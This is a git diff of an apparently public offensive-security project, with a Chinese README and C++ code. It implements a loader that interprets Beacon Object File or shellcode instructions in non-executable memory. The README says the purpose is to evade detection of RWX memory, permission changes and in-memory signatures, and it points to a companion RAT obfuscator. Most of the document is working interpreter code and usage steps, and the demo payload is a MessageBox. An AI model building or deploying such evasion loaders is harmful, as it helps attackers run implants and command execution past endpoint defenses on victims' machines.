'd': - if (opType1 == 'r') { - *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr2; - } - else { - *(PDWORD)opAddr1 = *(PDWORD)opAddr2; - } - break; - case 'w': - *(PWORD)opAddr1 = *(PWORD)opAddr2; - break; - case 'b': - *(PBYTE)opAddr1 = *(PBYTE)opAddr2; - break; - } -} -``` - -case 'd' 表示 操作数1 为 DWORD,在 操作数1 类型为寄存器时存在特殊情况。 - -特殊情况通过下例来解释: - -```c -mov rax, 0x1234567812345678 -mov eax, 0x11111111 -``` - -运行后 rax 为 0x0000000011111111。 - -Cmp 指令 - -将 cmp 指令的两个操作数的值赋值到 r10 和 r11,再调用函数对其进行计算。 - -```c -__asm { - mov r8, qword ptr[opAddr1] - mov r9, qword ptr[opAddr2] - mov r10, qword ptr[r8] - mov r11, qword ptr[r9] -} -((void(*)(...))instructionFunc)(opBit1, pVtRegs); -``` - -计算完成后将标志寄存器的值赋值到 vtEFL。 - -```c -void Cmp(char opBit1, PDWORD_PTR pVtRegs) { - DWORD_PTR vtEFL; - switch (opBit1) - { - case 'q': - __asm { - cmp r10, r11 - pushf - pop rax - mov vtEFL, rax - } - break; - ...... - } - pVtRegs[17] = vtEFL; -} -``` - -Jcc 指令 - -传入具体的 Jcc 指令的处理函数指针。 - -```c -Jcc(instructionFunc, opAddr1, pVtRegs); -``` - -通过具体的 Jcc 指令的处理函数判断是否跳转。如果跳转,则将 操作数1 的值赋值给 vtRIP。 - -```c -void Jcc(PVOID instructionFunc, DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { - DWORD_PTR vtEFL = pVtRegs[17]; - int isJmp = ((int(*)(...))instructionFunc)(vtEFL); - if (isJmp) { - DWORD_PTR vtRIP = *(PDWORD_PTR)opAddr1; - pVtRegs[16] = vtRIP; - } -} -``` - -Je 指令 - -作为具体的 Jcc 指令的处理函数,先将 vtEFL 的值赋值到标志寄存器,再判断是否跳转。 - -```c -int Je(DWORD_PTR vtEFL) { - int isJmp = 1; - __asm { - mov rax, vtEFL - push rax - popf - je jmp - mov isJmp, 0x00 - jmp : - } - return isJmp; -} -``` - -Call 指令 - -其实现是所有指令中最复杂的,因为涉及到 Windows API 的调用。 - -首先保存真实栈顶栈底,最后还原真实栈顶栈底,保证解释器能正常运行。 - -调用 Windows API 之前,要先将虚拟寄存器的值覆盖真实寄存器的值,相当于构造好 Windows API 的参数。 - -调用完 Windows API 之后,要将真实寄存器的值覆盖虚拟寄存器的值。 - -```c -void Call(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { - // 保存真实栈顶栈底 - DWORD_PTR realRSP; - DWORD_PTR realRBP; - __asm { - mov realRSP, rsp - mov realRBP, rbp - } - - // Window API 地址 - DWORD_PTR winApiAddr = *(PDWORD_PTR)opAddr1; - - // 虚拟寄存器 覆盖 真实寄存器 - DWORD_PTR vtRAX = pVtRegs[0]; - ...... - DWORD_PTR vtRBP = pVtRegs[15]; - __asm { - mov rax, vtRAX - ...... - mov rsp, vtRSP - // mov rbp, vtRBP (与 Call 冲突) - } - - // 调用 Windows API - __asm { - call qword ptr[winApiAddr] // (call qword ptr [rbp]) - } - - // 保存调用 Windows API 后真实寄存器的值 - __asm { - push rax - ...... - push rbp - } - - // 真实寄存器 覆盖 虚拟寄存器 - DWORD_PTR currentRSP; - __asm { - mov currentRSP, rsp; - } - pVtRegs[0] = *(PDWORD_PTR)(currentRSP + 0x78); // RAX - ...... - pVtRegs[14] = *(PDWORD_PTR)(currentRSP + 0x08) + 0x70; // RSP - pVtRegs[15] = *(PDWORD_PTR)(currentRSP + 0x00); // RBP - - // 还原真实栈顶栈底 - __asm { - mov rsp, realRSP - mov rbp, realRBP - } -} -``` +# No_X_BOF + +### 请给我 Star 🌟,非常感谢!这对我很重要! + +### Please give me Star 🌟, thank you very much! It is very important to me! + +### 1. 介绍 + +https://github.com/HackerCalico/No_X_BOF + +Magical BOF 加载器,加载 BOF 无需可执行权限内存。 + +项目原本为 No X ShellCode,已将其移入分支: https://github.com/HackerCalico/No_X_BOF/tree/No_X_Memory_ShellCode_Loader + +原理是通过 "汇编解释器" 运行 BOF 汇编指令,规避了以下特征: + +(1) 申请 RWX 内存。 + +(2) 来回修改 W 和 X 的内存属性。 + +(3) 内存中出现 BOF 特征码。 + +由于项目的机器码本身可能成为特征,于是我开发了另一个项目 RAT Obfuscator 来进行保护,它支持混淆 ShellCode 以及 EXE 中的函数机器码。 + +### 2. 使用方法 + +请先尝试项目提供的 BOF 样例:BOF\bof.o + +(1) 生成 BOF + +bof.c 中定义了两个可以调用的 BOF 函数: ExecuteCmd$$、GetFileInfoList$,ドル以及一个内部函数: TestCall$$。GetFileInfoList$$ 会调用 TestCall$,ドル过去的版本并不支持自定义函数之间存在调用链。 + +项目使用 https://github.com/mstorsjo/llvm-mingw/releases/download/20240903/llvm-mingw-20240903-ucrt-x86_64.zip 中的 clang 进行编译。 + +将 llvm-mingw-20240903-ucrt-x86_64\bin 添加至环境变量后,运行 BOF\Compile 编译.bat 即可生成 bof.o。 + +(2) 将 BOF 转为 "解释器" 可运行的 Payload + +```bash +pip install capstone +``` + +将 BOF 反汇编,生成 BOF 加载的必要信息至 Disassembly 文件夹。必要信息包含 .text 的汇编指令、.rdata 原数据、重定位名称、BOF 函数偏移。 + +```bash +> python Converter.py +1.反汇编 +2.生成 Payload +Choice: 1 +[!] 请手动对 Disassembly\asm.txt 中调用 TestCall$$ 的 call [地址] 进行重定位 +[!] 请手动对 Disassembly\asm.txt 中调用 TestCall$$ 的 call [地址] 进行重定位 +b'ExecuteCmd$$' Hash: -504283653 +b'TestCall$$' Hash: -953508912 +b'GetFileInfoList$$' Hash: 1280936002 +BOF 使用的汇编指令: {'jmp', ..., 'je'} +[+] 反汇编结果生成至文件夹 Disassembly +``` + +可以看到提示了要手动对 TestCall$$ 的 call 进行重定位,打开 Disassembly\asm.txt。 + +```bash +0x264_ret_ +0x265_nop_word ptr cs:[rax + rax] +0x270_push_rsi +.... +0x29b_call_0x2a0 +.... +0x306_call_0x30b +``` + +结合 bof.c 可以很容易判断出 TestCall$$ 的虚拟地址是 0x270,而 call_0x2a0 和 call_0x30b 都是调用 TestCall$,ドル所以手动把它们都改成 call_0x270。 + +下一步就是通过这些必要信息生成 Payload。 + +```bash +> python Converter.py +1.反汇编 +2.生成 Payload +Choice: 2 +请手动在 Instruction.cpp 的 InvokeInstruction 函数开头定义: +const int pushIndex = 0, ..., jleIndex = 27; +if (mnemonicIndex < 0 || mnemonicIndex> 27) { +return 2; +} +[+] Payload 生成至 Payload.bin +``` + +该过程会把 "原汇编指令" 转为 "自定义指令", 再把这些必要信息拼接为 Payload。 + +"自定义指令" 在格式上比 "原汇编指令" 更容易解析,可以减轻 "解释器" 的压力。 + +(3) 通过 "解释器" 运行 Payload,调用 BOF 函数 + +运行 Loader\Loader.cpp 即可。 + +需要配置 LLVM (clang-cl) 以支持 x64 内联汇编: + +Visual Studio Installer ---> 单个组件 ---> LLVM (clang-cl) 和 Clang ---> 安装 + +### 3. 功能实现 + +具体实现请看代码,下面对重点简要概括: + +(1) "自定义指令" 格式 + +```bash +原指令: 0x2c lea r9, [rip + 0x03] +自定义指令: 0x2c 0x0D qq38 qlr0000000000000000++i3 +``` + +0x2c 为虚拟地址,在处理跳转时起作用。 + +0x0D 为 lea 在指令列表中的下标。 + +q 表示 "操作数1" 是 QWORD 类型,q38 表示 R9 寄存器。在 "解释器" 中通过 vtRegs 数组存储虚拟寄存器的值,而 R9 相对 vtRegs 的偏移是 0x38。 + +q 表示 "操作数2" 是 QWORD 类型,l 表示该操作是 lea 的第二个操作数,r0000000000000000 表示 RIP,++ 表示 + (便于运算,详见源码),i3 表示立即数 0x03。 + +BOF 中的 RIP 存在特殊情况,lea r9, [rip + 0x3] 中 "rip" 的实际含义并不是寄存器 RIP,BOF 加载过程中对 .text 的重定位其实就是修改这些 "rip" 的值。 + +所以 "rip" 这里不用相对 vtRegs 的偏移,而是预留 16 位。重定位后会被替换为 "i地址" (导入的 DLL 函数的指针或 .rdata 地址)。 + +(2) "解释器" 处理流程 + +1.解析 Payload,获取 Payload 中的 "自定义指令"、.rdata 原数据、重定位名称、BOF 函数偏移信息。 + +2.查找 BOF 函数虚拟地址,通过 BOF 函数 Hash 对照 "BOF 函数偏移信息",找到 BOF 函数在 "自定义指令" 中的虚拟地址。 + +3.创建虚拟栈、创建虚拟寄存器、初始化虚拟寄存器 (将 BOF 函数的参数存入虚拟寄存器)。 + +4.从 BOF 函数虚拟地址对应的 "自定义指令" 开始逐条运行。 diff --git a/ShellCode-Interpreter.cpp b/ShellCode-Interpreter.cpp new file mode 100644 index 0000000..72a2b21 --- /dev/null +++ b/ShellCode-Interpreter.cpp @@ -0,0 +1,206 @@ +#include +#include +#include +#include + +using namespace std; + +// 虚拟寄存器 +DWORD vtEAX; +DWORD vtEBX; +DWORD vtECX; +DWORD vtEDX; +DWORD vtESP; +DWORD vtEBP; +DWORD vtESI; +DWORD vtEDI; +DWORD vtEIP; + +// 虚拟栈 +PVOID pVtStack = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE); + +// 真实栈顶栈底 +DWORD realESP; +DWORD realEBP; + +// ———————————————————————————— 不重要的函数 ———————————————————————————— + +// 读取 ShellCode +vector ReadShellCode(const char* filePath) { + vector asmCodes; + ifstream file(filePath); + string asmCode; + while (getline(file, asmCode)) { + asmCodes.push_back(asmCode); + } + file.close(); + return asmCodes; +} + +// 提取操作符 +string GetMnemonic(string asmCode) { + return asmCode.substr(0, asmCode.find(' ')); +} + +// 提取操作数 +string GetOperands(string asmCode) { + return asmCode.substr(asmCode.find(' ') + 1); +} + +// ———————————————————————————— 模拟运行指令 ———————————————————————————— + +DWORD GetDwordValue(string var) { + if (var == "eax") { + return vtEAX; + } + if (var == "ebx") { + return vtEBX; + } + if (var == "ecx") { + return vtECX; + } + if (var == "edx") { + return vtEDX; + } + if (var == "esp") { + return vtESP; + } + if (var == "ebp") { + return vtEBP; + } + if (var == "esi") { + return vtESI; + } + if (var == "edi") { + return vtEDI; + } + return stoi(var, nullptr, 16); +} + +void Push(DWORD value) { + vtESP -= 4; + *(PDWORD)vtESP = value; +} + +void Mov(string operands) { + if (operands == "ebp, esp") { + vtEBP = vtESP; + } + else if (operands == "byte ptr [ebp - 1], 0") { + *(PBYTE)(vtEBP - 1) = 0; + } + else if (operands == "esp, ebp") { + vtESP = vtEBP; + } +} + +void Lea() { + vtEAX = vtEBP - 1; +} + +void Call() { + // 记录原栈位置 + __asm { + mov realESP, esp + mov realEBP, ebp + } + + // 进入虚拟栈 + __asm { + mov esp, vtESP + mov ebp, vtEBP + } + + // 调用 Windows API + __asm { + call dword ptr [ebp + 8] + } + + // 回到原栈位置 + __asm { + mov esp, realESP + mov ebp, realEBP + } +} + +void Pop() { + vtEBP = *(PDWORD)vtESP; + vtESP += 4; +} + +void Ret() { + vtEIP = *(PDWORD)vtESP; + vtESP += 4; +} + +// ———————————————————————————— 逐条解析指令 ———————————————————————————— + +// 解析指令 +void Parse() { + // 从文件读取指令到数组 + vector asmCodes = ReadShellCode("ShellCode.txt"); + + // 遍历指令进行解析 + for (vtEIP = 0; vtEIP < asmCodes.size(); vtEIP++) { + // 提取操作符和操作数 + string mnemonic = GetMnemonic(asmCodes[vtEIP]); + string operands = GetOperands(asmCodes[vtEIP]); + + // 模拟运行指令 + if (mnemonic == "push") { + Push(GetDwordValue(operands)); + } + else if (mnemonic == "mov") { + Mov(operands); + } + else if (mnemonic == "lea") { + Lea(); + } + else if (mnemonic == "call") { + Call(); + } + else if (mnemonic == "pop") { + Pop(); + } + else if (mnemonic == "ret") { + Ret(); + } + } +} + +// ———————————————————————————— 构造虚拟环境 ———————————————————————————— + +// 解释器 +__declspec(naked) void Interpreter(...) { + // 模拟初始寄存器 + DWORD currentESP; + __asm { + mov vtEAX, eax + mov vtEBX, ebx + mov vtECX, ecx + mov vtEDX, edx + mov currentESP, esp + mov vtESI, esi + mov vtEDI, edi + } + + // 模拟初始栈 + vtEBP = vtESP = (DWORD)pVtStack + 0x9000; + for (int i = currentESP + 4; i>= currentESP; i -= 4) { + vtESP -= 4; + *(PDWORD)vtESP = *(PDWORD)i; + } + + // 解析指令 + __asm { + call Parse + ret + } +} + +// ———————————————————————————— 程序入口点 ———————————————————————————— + +int main() { + // 通过解释器运行 ShellCode + Interpreter((PDWORD)MessageBoxA); +} diff --git a/ShellCode.txt b/ShellCode.txt new file mode 100644 index 0000000..66700dc --- /dev/null +++ b/ShellCode.txt @@ -0,0 +1,13 @@ +push ebp +mov ebp, esp +push ecx +push 0x30 +lea eax, [ebp - 1] +mov byte ptr [ebp - 1], 0 +push eax +push eax +push 0 +call dword ptr [ebp + 8] +mov esp, ebp +pop ebp +ret \ No newline at end of file

AltStyle によって変換されたページ (->オリジナル) /